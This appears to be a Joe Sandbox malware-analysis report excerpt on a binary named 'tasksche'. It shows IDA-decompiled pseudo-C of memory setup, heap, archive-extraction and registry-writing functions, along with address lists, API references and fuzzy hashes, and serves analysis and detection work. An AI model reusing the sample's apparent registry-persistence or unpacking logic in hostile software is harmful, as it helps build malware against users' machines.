				 *(_t96 + 0x652c) =  *(_t96 + 0x652c) | 0xffffffff;
				 *(_t96 + 0x6530) =  *(_t96 + 0x6530) | 0xffffffff;
				 *((char*)(_t96 + 0x1c)) =  *((intOrPtr*)(_t71 + 0x5195));
				 *((intOrPtr*)(_t96 + 0xb050)) = 2;
				 *((char*)(_t96 + 0xb054)) = 0;
				 *((char*)(_t96 + 0xb055)) = 0;
				 *((char*)(_t96 + 0xb056)) = 0;
				 *((char*)(_t96 + 0xb057)) = 0;
				 *((char*)(_t96 + 0xb058)) = 0;
				 *((char*)(_t96 + 0xb059)) = 0;
				 *((char*)(_t96 + 0xb05a)) = 0;
				 *((intOrPtr*)(_t96 + 0xb060)) = 0;
				 *((intOrPtr*)(_t96 + 0x6538)) = 0;
				 *((intOrPtr*)(_t96 + 0x653c)) = 0;
				 *((char*)(_t96 + 0xb05b)) = 0;
				 *((char*)(_t96 + 0xb05c)) = 0;
				 *((char*)(_t96 + 0xb065)) = 0;
				 *((char*)(_t96 + 0xb064)) = 0;
				 *((intOrPtr*)(_t96 + 0x6540)) = 0;
				 *((intOrPtr*)(_t96 + 0xb040)) = 0;
				 *((intOrPtr*)(_t96 + 0xb044)) = 0;
				 *((intOrPtr*)(_t96 + 0xb048)) = 0;
				 *((intOrPtr*)(_t96 + 0xb04c)) = 0;
				E0041A820(_t94, _t96 + 0x6570, 0, 0x40);
				E0041A820(_t94, _t96 + 0x65b0, 0, 0x34);
				E0041A820(_t94, _t96 + 0x88e8, 0, 0x20);
				 *((short*)(_t96 + 0xb09a)) = 0;
				 *((intOrPtr*)(_t96 + 0xb078)) = 0;
				 *((intOrPtr*)(_t96 + 0xb080)) = 0;
				 *((intOrPtr*)(_t96 + 0xb084)) = 0;
				 *((intOrPtr*)(_t96 + 0xb088)) = 0;
				 *((intOrPtr*)(_t96 + 0xb08c)) = 0;
				 *((intOrPtr*)(_t96 + 0xb090)) = 0;
				 *((intOrPtr*)(_t96 + 0xb094)) = 0;
				 *((char*)(_t96 + 0xb076)) = 0;
				 *((char*)(_t96 + 0xb098)) = 0;
				 *((char*)(_t96 + 0x6548)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t98 - 0xc));
				return _t96;
			}

0x00401822
0x00401822
0x00401822
0x00401827
0x0040182c
0x0040182f
0x00401831
0x00401834
0x00401841
0x00401844
0x0040184a
0x00401855
0x00401859
0x00401864
0x0040186a
0x00401870
0x0040187b
0x00401883
0x00401887
0x0040188a
0x00401890
0x00401896
0x00401898
0x004018bd
0x0040189a
0x0040189a
0x0040189f
0x004018a5
0x004018a7
0x004018aa
0x004018b0
0x004018b9
0x004018b2
0x004018b2
0x004018b2
0x004018b0
0x004018c0
0x004018cc
0x004018d3
0x004018da
0x004018e3
0x004018ee
0x004018f8
0x004018fe
0x00401904
0x0040190a
0x00401910
0x00401916
0x0040191c
0x00401922
0x00401928
0x0040192e
0x00401934
0x0040193a
0x00401940
0x00401946
0x0040194c
0x00401952
0x00401958
0x0040195e
0x00401964
0x0040196a
0x00401979
0x00401988
0x00401995
0x0040199c
0x004019a2
0x004019a8
0x004019ae
0x004019b4
0x004019ba
0x004019c0
0x004019c6
0x004019cc
0x004019d2
0x004019dc
0x004019e4

APIs

__EH_prolog.LIBCMT ref: 00401827

Part of subcall function 00405F3C: __EH_prolog.LIBCMT ref: 00405F41
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FA4
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FB0
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FCE

Part of subcall function 0040B8E3: __EH_prolog.LIBCMT ref: 0040B8E8

_memset.LIBCMT ref: 0040196A
_memset.LIBCMT ref: 00401979
_memset.LIBCMT ref: 00401988

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0040A026: __EH_prolog.LIBCMT ref: 0040A02B

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog$_malloc
String ID:
API String ID: 4233843809-0
Opcode ID: 89f10ec8c43f5c59ed1e48a3837198038f2aefdd0a2d009fb04471144bad9c18
Instruction ID: 211b101a5e2dbba32f2c8dae62910ed897794103f7d8a7f2ed724c9505602145
Opcode Fuzzy Hash: 89f10ec8c43f5c59ed1e48a3837198038f2aefdd0a2d009fb04471144bad9c18
Instruction Fuzzy Hash: 865127B1445F809EC321DF7988916D7FFE0AF29314F84496E91FE93282D7352658CB29

Uniqueness

Uniqueness Score: -1.00%

Function 00413CE8 Relevance: 6.1, APIs: 4, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 49%

			E00413CE8(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t34;
				signed int _t35;
				signed int* _t41;
				signed int _t42;
				signed int _t44;
				intOrPtr _t46;
				void* _t67;
				signed int _t72;
				intOrPtr* _t73;
				void* _t75;
				void* _t77;
				signed int _t81;

				_t34 = E0041A4DC(0x42980d, _t75);
				_push(__ecx);
				_push(__ecx);
				_t67 = __ecx;
				_t80 =  *((intOrPtr*)(__ecx + 0x20));
				if( *((intOrPtr*)(__ecx + 0x20)) == 0) {
					_push(0x400400); // executed
					_t46 = E0041A0EA(0, __edx, __ecx, _t80); // executed
					 *((intOrPtr*)(_t67 + 0x20)) = _t46;
					_t34 = E0041A820(_t67, _t46, 0, 0x400400);
					_t77 = _t77 + 0x10;
				}
				_t81 =  *(_t67 + 0x18);
				if(_t81 != 0) {
					L12:
					 *[fs:0x0] =  *((intOrPtr*)(_t75 - 0xc));
					return _t34;
				} else {
					_t72 =  *((intOrPtr*)(_t67 + 0x1c)) +  *((intOrPtr*)(_t67 + 0x1c));
					_t35 = _t72;
					_t65 = _t35 * 0x4ae4 >> 0x20;
					_push( ~(0 | _t81 > 0x00000000) | ( ~(0 | _t81 > 0x00000000) | _t35 * 0x00004ae4) + 0x00000004); // executed
					_t41 = E0041A0EA(0x4ae4, _t35 * 0x4ae4 >> 0x20, _t67, _t81); // executed
					 *(_t75 - 0x10) = _t41;
					 *(_t75 - 4) =  *(_t75 - 4) & 0x00000000;
					_t82 = _t41;
					if(_t41 == 0) {
						_t42 = 0;
						__eflags = 0;
					} else {
						_push(E00412B7D);
						_push(E00412B65);
						_push(_t72);
						 *_t41 = _t72;
						_t44 =  &(_t41[1]);
						_push(0x4ae4);
						_push(_t44);
						 *(_t75 - 0x14) = _t44;
						E0041C6B6(_t72, _t82);
						_t42 =  *(_t75 - 0x14);
					}
					 *(_t75 - 4) =  *(_t75 - 4) | 0xffffffff;
					 *(_t67 + 0x18) = _t42;
					_t34 = E0041A820(_t67, _t42, 0, _t72 * 0x4ae4);
					if(_t72 > 0) {
						 *(_t75 - 0x10) =  *(_t75 - 0x10) & 0x00000000;
						 *(_t75 - 0x14) = _t72;
						do {
							_t34 =  *(_t67 + 0x18) +  *(_t75 - 0x10);
							_t26 = _t34 + 0x4ad4; // 0x4ad4
							_t73 = _t26;
							if( *_t73 == 0) {
								 *((intOrPtr*)(_t34 + 0x4adc)) = 0x4100;
								_t34 = E0041CF3E(0x4ae4, _t65, _t67, 0x30c00); // executed
								 *_t73 = _t34;
								if(_t34 == 0) {
									_t34 = E004063CE(0x4335ac);
								}
							}
							 *(_t75 - 0x10) =  *(_t75 - 0x10) + 0x4ae4;
							_t30 = _t75 - 0x14;
							 *_t30 =  *(_t75 - 0x14) - 1;
						} while ( *_t30 != 0);
					}
					goto L12;
				}
			}

0x00413ced
0x00413cf2
0x00413cf3
0x00413cf7
0x00413cfb
0x00413cfe
0x00413d05
0x00413d06
0x00413d0e
0x00413d11
0x00413d16
0x00413d16
0x00413d19
0x00413d1c
0x00413dde
0x00413de4
0x00413dec
0x00413d22
0x00413d25
0x00413d2e
0x00413d32
0x00413d47
0x00413d48
0x00413d4e
0x00413d51
0x00413d55
0x00413d57
0x00413d78
0x00413d78
0x00413d59
0x00413d59
0x00413d5e
0x00413d63
0x00413d64
0x00413d66
0x00413d69
0x00413d6a
0x00413d6b
0x00413d6e
0x00413d73
0x00413d73
0x00413d7a
0x00413d8a
0x00413d8d
0x00413d97
0x00413d99
0x00413d9d
0x00413da0
0x00413da3
0x00413da6
0x00413da6
0x00413daf
0x00413db6
0x00413dc0
0x00413dc6
0x00413dca
0x00413dd1
0x00413dd1
0x00413dca
0x00413dd6
0x00413dd9
0x00413dd9
0x00413dd9
0x00413da0
0x00000000
0x00413d97

APIs

__EH_prolog.LIBCMT ref: 00413CED
_memset.LIBCMT ref: 00413D11
_memset.LIBCMT ref: 00413D8D
_malloc.LIBCMT ref: 00413DC0

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog_malloc
String ID:
API String ID: 1600808285-0
Opcode ID: f9e7b2a6a83c73fc1ba99619ebe61da21776ee40c69ad0e57b9b97bafc6a76b5
Instruction ID: 702ce421a693160a9893d7f58a622c69960126b9ff2eeb296b605b135dd4a1ff
Opcode Fuzzy Hash: f9e7b2a6a83c73fc1ba99619ebe61da21776ee40c69ad0e57b9b97bafc6a76b5
Instruction Fuzzy Hash: F831D4B1E01215ABDB14AF65D9057EB76A8FF14319F10013FE105E7281E7789E9087ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040DA8C Relevance: 6.0, APIs: 4, Instructions: 46
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040DA8C(void* __esi, char* _a4) {
				void* _v8;
				int _v12;
				short _v4108;
				long _t12;
				long _t20;

				_t12 = E0041AAF0(0x1008);
				if( *0x441878 != 0 &&  *0x438818 != 0) {
					E0040DA4F( &_v4108, 0x438818);
					_t12 = RegCreateKeyExW(0x80000001, 0x42a888, 0, 0, 0, 0x20006, 0,  &_v8,  &_v12); // executed
					if(_t12 == 0) {
						RegSetValueExW(_v8,  &_v4108, 0, 1, _a4, E0041A7AF(_a4) + _t16 + 2); // executed
						_t20 = RegCloseKey(_v8); // executed
						return _t20;
					}
				}
				return _t12;
			}

0x0040da94
0x0040daa2
0x0040dab9
0x0040dad9
0x0040dae2
0x0040db02
0x0040db0b
0x00000000
0x0040db0b
0x0040dae2
0x0040db13

APIs

Part of subcall function 0040DA4F: _wcscpy.LIBCMT ref: 0040DA54

RegCreateKeyExW.KERNELBASE(80000001,0042A888,00000000,00000000,00000000,00020006,00000000,?,?,00438818), ref: 0040DAD9
_wcslen.LIBCMT ref: 0040DAE7
RegSetValueExW.KERNELBASE(?,?,00000000,00000001,?,?), ref: 0040DB02
RegCloseKey.KERNELBASE(?), ref: 0040DB0B

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CloseCreateValue_wcscpy_wcslen
String ID:
API String ID: 3170333323-0
Opcode ID: 253b5885f96daf7b7a8b4f1510ea2afe6e1404dcbc281fb2c19877bebd1cbb3e
Instruction ID: c04f9cf324d6fb33717342d95d48926d42d97767c878bcc2ae640bd506731f16
Opcode Fuzzy Hash: 253b5885f96daf7b7a8b4f1510ea2afe6e1404dcbc281fb2c19877bebd1cbb3e
Instruction Fuzzy Hash: 7F018476A0020CBFEB21AF90DC86EDA777CEB08388F504076B60562061DA745ED99669

Uniqueness

Uniqueness Score: -1.00%

Function 0041A506 Relevance: 6.0, APIs: 4, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 17%

			E0041A506(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x42d658);
				_t8 = E0041FA9C(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E0041FAE1(_t8);
				}
				if( *0x451420 != 3) {
					_push(_t23);
					L7:
					_push(0);
					_t8 = RtlFreeHeap( *0x44f848); // executed
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E0041EDAE(_t31);
						 *_t10 = E0041ED6C( *0x42a258());
					}
					goto L9;
				}
				E0041EFA3(__ebx, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E0041EFD6(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E0041F006();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E0041A55C();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

0x0041a506
0x0041a508
0x0041a50d
0x0041a512
0x0041a517
0x0041a58e
0x0041a593
0x0041a593
0x0041a520
0x0041a565
0x0041a566
0x0041a566
0x0041a56e
0x0041a574
0x0041a576
0x0041a578
0x0041a58b
0x0041a58d
0x00000000
0x0041a576
0x0041a524
0x0041a52a
0x0041a52f
0x0041a535
0x0041a53a
0x0041a53c
0x0041a53d
0x0041a53e
0x0041a544
0x0041a545
0x0041a54c
0x0041a555
0x00000000
0x0041a557
0x0041a557
0x00000000
0x0041a557

APIs

__lock.LIBCMT ref: 0041A524

Part of subcall function 0041EFA3: __mtinitlocknum.LIBCMT ref: 0041EFB9
Part of subcall function 0041EFA3: __amsg_exit.LIBCMT ref: 0041EFC5

___sbh_find_block.LIBCMT ref: 0041A52F
___sbh_free_block.LIBCMT ref: 0041A53E
RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FreeHeap___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 438813202-0
Opcode ID: 1eba3eb2bfd23f5b1e043426ba5b029f38dd9947a11c8dba489f2cac3b6c6ae4
Instruction ID: 0c17081243acc93c5e04f74f5850e91c5e9c62578e05a8caa74c22d26ff5c9bd
Opcode Fuzzy Hash: 1eba3eb2bfd23f5b1e043426ba5b029f38dd9947a11c8dba489f2cac3b6c6ae4
Instruction Fuzzy Hash: 1D01847194A215BBDB306BB29C067DE3B65AF00798F10012BFC0496291DB3C86D19A5E

Uniqueness

Uniqueness Score: -1.00%

Function 004076AA Relevance: 6.0, APIs: 2, Strings: 1, Instructions: 792
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004076AA(intOrPtr __ecx, intOrPtr __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t349;
				signed int _t354;
				signed int _t359;
				signed int _t363;
				char _t364;
				intOrPtr _t367;
				signed int _t370;
				char _t373;
				void* _t375;
				signed int _t379;
				signed int _t380;
				intOrPtr _t383;
				char* _t386;
				signed int _t395;
				char _t398;
				intOrPtr _t399;
				intOrPtr _t407;
				signed int _t409;
				intOrPtr _t413;
				signed int _t423;
				intOrPtr _t426;
				char _t434;
				signed int _t440;
				signed int _t445;
				signed int _t446;
				signed int _t452;
				char _t456;
				intOrPtr _t459;
				intOrPtr _t462;
				signed int _t463;
				signed int _t469;
				signed int _t475;
				intOrPtr _t476;
				signed int _t479;
				signed int _t481;
				intOrPtr _t482;
				signed int _t484;
				signed int _t490;
				intOrPtr* _t500;
				char _t502;
				intOrPtr _t504;
				signed int _t510;
				signed int _t515;
				intOrPtr _t572;
				intOrPtr _t593;
				short* _t595;
				signed int _t602;
				signed int _t603;
				intOrPtr _t607;
				intOrPtr _t611;
				void* _t613;

				_t585 = __edx;
				E0041A4DC(0x4296c9, _t613);
				E0041AAF0(0x5194);
				_t500 =  *((intOrPtr*)(_t613 + 8));
				_t607 = __ecx;
				_t345 =  *( *((intOrPtr*)(__ecx + 8)) + 0x72b2) & 0x0000ffff;
				 *((intOrPtr*)(_t613 - 0x24)) = __ecx;
				 *(_t613 - 0x18) =  *( *((intOrPtr*)(__ecx + 8)) + 0x72b2) & 0x0000ffff;
				if( *((intOrPtr*)(_t613 + 0xc)) != 0) {
					L5:
					_t593 =  *((intOrPtr*)(_t500 + 0x6544));
					__eflags = _t593 - 2;
					if(_t593 == 2) {
						_t504 =  *((intOrPtr*)(_t607 + 8));
						 *((char*)(_t607 + 0x545d)) = 0;
						__eflags =  *(_t504 + 0x515c);
						if( *(_t504 + 0x515c) != 0) {
							L20:
							 *((char*)(_t613 - 0x10)) = 0;
							_t349 = E0040545B(_t504, _t500 + 0x65e8, _t613 - 0x10, 5, _t613 - 0x51a0, 0x800);
							__eflags = _t349;
							 *(_t613 - 0xe) = _t349 != 0;
							__eflags =  *(_t613 - 0xe);
							if( *(_t613 - 0xe) != 0) {
								__eflags =  *((char*)(_t613 - 0x10));
								if( *((char*)(_t613 - 0x10)) == 0) {
									 *((char*)(_t607 + 0x4459)) = 0;
								}
							}
							E00401A5C(_t500);
							E0040A618(_t607, _t500 + 0x6608, _t613 - 0x2158);
							__eflags =  *((char*)(_t500 + 0x76cb));
							if( *((char*)(_t500 + 0x76cb)) == 0) {
								_t354 = E00401A55(_t500);
								__eflags = _t354;
								if(_t354 != 0) {
									L33:
									 *((char*)(_t607 + 0x21d7)) =  *((intOrPtr*)(_t500 + 0x7671));
									 *((char*)(_t607 + 0x21d8)) = 0;
									_t586 =  *((intOrPtr*)(_t500 + 0xb04c));
									asm("sbb edx, [ebx+0x7634]");
									 *((intOrPtr*)( *_t500 + 0xc))( *((intOrPtr*)(_t500 + 0xb048)) -  *(_t500 + 0x7630),  *((intOrPtr*)(_t500 + 0xb04c)), 0);
									__eflags =  *(_t613 - 0xe);
									 *((char*)(_t613 + 0xf)) = 0;
									 *((char*)(_t613 - 0x1d)) = 0;
									if( *(_t613 - 0xe) != 0) {
										L35:
										_t359 =  *((intOrPtr*)( *((intOrPtr*)(_t607 + 8)) + 0x51c1));
										__eflags = _t359;
										if(_t359 == 0) {
											L38:
											_t510 = 0;
											__eflags = 0;
											L39:
											__eflags = _t359;
											_t363 = L004116E5(_t510, _t613 - 0x2158, (_t359 & 0xffffff00 | _t359 == 0x00000000) & 0x000000ff, _t510,  *((intOrPtr*)(_t613 - 0x1d))); // executed
											__eflags = _t363;
											if(__eflags == 0) {
												L191:
												_t364 = 0;
												L15:
												L16:
												 *[fs:0x0] =  *((intOrPtr*)(_t613 - 0xc));
												return _t364;
											}
											_t595 = _t607 + 0x545e;
											E00406F23(_t607, __eflags, _t500, _t613 - 0x2158, _t595, 0x800);
											__eflags =  *((char*)(_t613 - 0x1d));
											if( *((char*)(_t613 - 0x1d)) != 0) {
												L43:
												 *((char*)(_t613 + 0xf)) = 0;
												L44:
												_t367 =  *((intOrPtr*)(_t607 + 8));
												__eflags =  *((char*)(_t367 + 0x5153));
												if( *((char*)(_t367 + 0x5153)) != 0) {
													L46:
													__eflags =  *(_t613 - 0x18) - 0x45;
													if( *(_t613 - 0x18) == 0x45) {
														L48:
														E004067E1(_t613 - 0x31a0);
														_push(0);
														_t370 = E004096BC(_t586, _t595, _t613 - 0x31a0);
														__eflags = _t370;
														if(_t370 == 0) {
															__eflags =  *((char*)( *((intOrPtr*)(_t607 + 8)) + 0x5153));
															L53:
															if(__eflags == 0) {
																L55:
																__eflags =  *((char*)(_t500 + 0x7673));
																if( *((char*)(_t500 + 0x7673)) == 0) {
																	L60:
																	_t373 = E00407650(_t500, _t613 - 0x2158);
																	__eflags = _t373;
																	if(_t373 == 0) {
																		 *((char*)(_t613 + 0xf)) = _t373;
																		E004062BA(0x4335ac, 2);
																	}
																	_t515 = 0x40;
																	_t375 = memcpy(_t613 - 0x134,  *((intOrPtr*)( *((intOrPtr*)(_t613 - 0x24)) + 8)) + 0x4024, _t515 << 2);
																	asm("movsw");
																	 *(_t613 - 4) =  *(_t613 - 4) & 0x00000000;
																	asm("sbb edx, edx");
																	_t590 =  ~( *(_t500 + 0x7678) & 0x000000ff) & _t500 + 0x00007679;
																	 *((intOrPtr*)(_t613 - 0x28)) = _t375 + 0x10;
																	E0040B883(_t375 + 0x10, 0,  *((intOrPtr*)(_t500 + 0x7674)), _t613 - 0x134,  ~( *(_t500 + 0x7678) & 0x000000ff) & _t500 + 0x00007679, _t500 + 0x7689,  *((intOrPtr*)(_t500 + 0x76c4)), _t500 + 0x76a3, _t613 - 0x30);
																	__eflags =  *((char*)(_t500 + 0x7673));
																	if( *((char*)(_t500 + 0x7673)) != 0) {
																		__eflags =  *((char*)(_t500 + 0x7699));
																		if( *((char*)(_t500 + 0x7699)) != 0) {
																			_t469 = E0041AC04(_t500 + 0x769a, _t613 - 0x30, 8);
																			__eflags = _t469;
																			if(_t469 != 0) {
																				__eflags =  *((char*)(_t500 + 0xb064));
																				if( *((char*)(_t500 + 0xb064)) == 0) {
																					E00406376(6, _t500 + 0x1e);
																					E004062BA(0x4335ac, 0xb);
																					 *((char*)(_t613 + 0xf)) = 0;
																				}
																			}
																		}
																	}
																	_t522 = _t613 - 0x1158;
																	E00408786(_t613 - 0x1158);
																	_t379 =  *(_t500 + 0x76d8);
																	__eflags = _t379;
																	 *((char*)(_t613 - 0x11)) = _t379 != 0;
																	__eflags =  *((char*)(_t613 - 0x11));
																	 *(_t613 - 4) = 1;
																	if( *((char*)(_t613 - 0x11)) == 0) {
																		L77:
																		_t522 = _t500;
																		_t380 = E00401A55(_t500);
																		__eflags = _t380;
																		if(_t380 == 0) {
																			__eflags =  *((char*)(_t613 + 0xf));
																			if( *((char*)(_t613 + 0xf)) == 0) {
																				goto L90;
																			}
																			_t611 =  *((intOrPtr*)(_t613 - 0x24));
																			_t522 = _t611; // executed
																			_t456 = E0040753D(_t611, _t500, _t613 - 0x1158); // executed
																			 *((char*)(_t613 + 0xf)) = _t456;
																			goto L88;
																		}
																		__eflags =  *((char*)(_t613 + 0xf));
																		if( *((char*)(_t613 + 0xf)) == 0) {
																			L85:
																			 *(_t613 - 4) = 0;
																			E00408C7D(_t500, _t613 - 0x1158);
																			 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																			E0040D111(_t613 - 0x134);
																			goto L14;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x50;
																		if( *(_t613 - 0x18) == 0x50) {
																			goto L85;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x49;
																		if( *(_t613 - 0x18) == 0x49) {
																			goto L85;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x45;
																		if( *(_t613 - 0x18) == 0x45) {
																			goto L85;
																		}
																		_t572 =  *((intOrPtr*)(_t613 - 0x24));
																		_t459 =  *((intOrPtr*)(_t572 + 8));
																		__eflags =  *((intOrPtr*)(_t459 + 0x5158)) - 1;
																		if( *((intOrPtr*)(_t459 + 0x5158)) == 1) {
																			goto L85;
																		}
																		_t143 = _t572 + 0x444c;
																		 *_t143 =  *(_t572 + 0x444c) + 1;
																		__eflags =  *_t143;
																		_push(_t613 - 0x2158);
																		_push(_t500);
																		E00407391(_t572);
																		_t502 = 1;
																		goto L84;
																	} else {
																		__eflags = _t379 - 5;
																		if(_t379 == 5) {
																			goto L77;
																		}
																		__eflags =  *((char*)(_t613 + 0xf));
																		if( *((char*)(_t613 + 0xf)) == 0) {
																			L90:
																			_t611 =  *((intOrPtr*)(_t613 - 0x24));
																			L91:
																			__eflags =  *((char*)(_t500 + 0xb054));
																			if( *((char*)(_t500 + 0xb054)) == 0) {
																				__eflags =  *((char*)(_t613 + 0xf));
																				if( *((char*)(_t613 + 0xf)) == 0) {
																					L184:
																					 *(_t613 - 4) = 0;
																					E00408C7D(_t500, _t613 - 0x1158);
																					 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																					E0040D111(_t613 - 0x134);
																					__eflags =  *(_t613 - 0xe);
																					if( *(_t613 - 0xe) != 0) {
																						_t333 = _t611 + 0x4454;
																						 *_t333 =  *(_t611 + 0x4454) + 1;
																						__eflags =  *_t333;
																					}
																					L186:
																					_t383 =  *((intOrPtr*)(_t613 - 0x24));
																					__eflags =  *((char*)(_t383 + 0x21d8));
																					if( *((char*)(_t383 + 0x21d8)) != 0) {
																						goto L191;
																					}
																					__eflags =  *((char*)(_t613 + 0xf));
																					if( *((char*)(_t613 + 0xf)) != 0) {
																						L14:
																						_t364 = 1;
																						goto L15;
																					}
																					__eflags =  *((char*)(_t500 + 0xb054));
																					if( *((char*)(_t500 + 0xb054)) != 0) {
																						__eflags =  *((char*)(_t613 - 0x1d));
																						if( *((char*)(_t613 - 0x1d)) != 0) {
																							goto L14;
																						}
																						goto L191;
																					}
																					L189:
																					E004010C0(_t500);
																					goto L14;
																				}
																				L95:
																				_t386 =  *((intOrPtr*)(_t611 + 8)) + 0x51c1;
																				__eflags =  *_t386;
																				if( *_t386 == 0) {
																					L97:
																					__eflags =  *((char*)(_t613 - 0x1d));
																					if( *((char*)(_t613 - 0x1d)) != 0) {
																						L125:
																						__eflags =  *((char*)(_t613 - 0x1d));
																						 *((char*)(_t613 - 0xf)) = 1;
																						if( *((char*)(_t613 - 0x1d)) != 0) {
																							L102:
																							 *((intOrPtr*)(_t611 + 0x4450)) =  *((intOrPtr*)(_t611 + 0x4450)) + 1;
																							 *((intOrPtr*)(_t611 + 0x21f8)) = 0;
																							 *((intOrPtr*)(_t611 + 0x21fc)) = 0;
																							 *((intOrPtr*)(_t611 + 0x2200)) = 0;
																							 *((intOrPtr*)(_t611 + 0x2204)) = 0;
																							E00409885(_t611 + 0x38e0,  *((intOrPtr*)(_t500 + 0x7648)),  *((intOrPtr*)( *((intOrPtr*)(_t611 + 8)) + 0x7298)));
																							E00409885(_t611 + 0x2218,  *((intOrPtr*)(_t500 + 0x7648)),  *((intOrPtr*)( *((intOrPtr*)(_t611 + 8)) + 0x7298)));
																							 *(_t611 + 0x30) =  *(_t500 + 0x7630);
																							 *(_t611 + 0x34) =  *(_t500 + 0x7634);
																							E0040B863( *((intOrPtr*)(_t613 - 0x28)), _t500, _t613 - 0x1158);
																							_t395 =  *((intOrPtr*)(_t613 - 0xf));
																							 *(_t611 + 0x39) = _t395;
																							 *((char*)(_t611 + 0x3a)) =  *((intOrPtr*)(_t613 - 0x1d));
																							__eflags = _t395;
																							if(_t395 != 0) {
																								L114:
																								_t531 =  *((intOrPtr*)(_t611 + 8));
																								 *((char*)( *((intOrPtr*)(_t611 + 8)) + 0x5194)) =  *((char*)(_t613 - 0xf));
																								 *((char*)(_t613 - 0x1145)) = _t395 & 0xffffff00 |  *((char*)( *((intOrPtr*)(_t611 + 8)) + 0x5194)) == 0x00000000;
																								if( *((char*)(_t613 - 0xf)) != 0) {
																									L117:
																									 *((char*)(_t613 - 0xd)) = 0;
																									L118:
																									__eflags =  *((char*)(_t613 - 0x11));
																									 *((char*)(_t613 - 0x19)) = 1;
																									 *((char*)(_t613 + 0xb)) = 1;
																									if( *((char*)(_t613 - 0x11)) == 0) {
																										__eflags =  *((char*)(_t500 + 0x7670));
																										if( *((char*)(_t500 + 0x7670)) == 0) {
																											__eflags =  *((char*)(_t500 + 0x6602));
																											if(__eflags != 0) {
																												_push( *(_t500 + 0x76c8) & 0x000000ff);
																												_push( *((intOrPtr*)(_t500 + 0x76cc)));
																												E004126F0( *((intOrPtr*)(_t611 + 0x4448))); // executed
																												_t426 =  *((intOrPtr*)(_t611 + 0x4448));
																												_t590 =  *(_t500 + 0x763c);
																												 *(_t426 + 0x4c40) =  *(_t500 + 0x7638);
																												 *(_t426 + 0x4c44) =  *(_t500 + 0x763c);
																												 *((char*)(_t426 + 0x4c58)) = 0;
																												E00418AFF( *((intOrPtr*)(_t611 + 0x4448)),  *(_t500 + 0x6601) & 0x000000ff,  *(_t500 + 0x76c8) & 0x000000ff); // executed
																											} else {
																												_push( *(_t500 + 0x763c));
																												_push( *(_t500 + 0x7638));
																												_push( *((intOrPtr*)(_t613 - 0x28)));
																												E004071DF(_t590, __eflags);
																											}
																										}
																										L147:
																										E004010C0(_t500);
																										__eflags =  *((char*)(_t500 + 0x7671));
																										if(__eflags != 0) {
																											L150:
																											_t398 = 0;
																											__eflags = 0;
																											L151:
																											__eflags =  *(_t500 + 0x76c8);
																											if( *(_t500 + 0x76c8) != 0) {
																												__eflags =  *((char*)(_t500 + 0x6602));
																												if( *((char*)(_t500 + 0x6602)) == 0) {
																													L159:
																													__eflags =  *((char*)(_t613 - 0x1d));
																													 *((char*)(_t613 - 0xd)) = 0;
																													if( *((char*)(_t613 - 0x1d)) != 0) {
																														L169:
																														__eflags =  *((char*)(_t613 - 0xf));
																														if( *((char*)(_t613 - 0xf)) != 0) {
																															goto L184;
																														}
																														__eflags =  *(_t613 - 0x18) - 0x58;
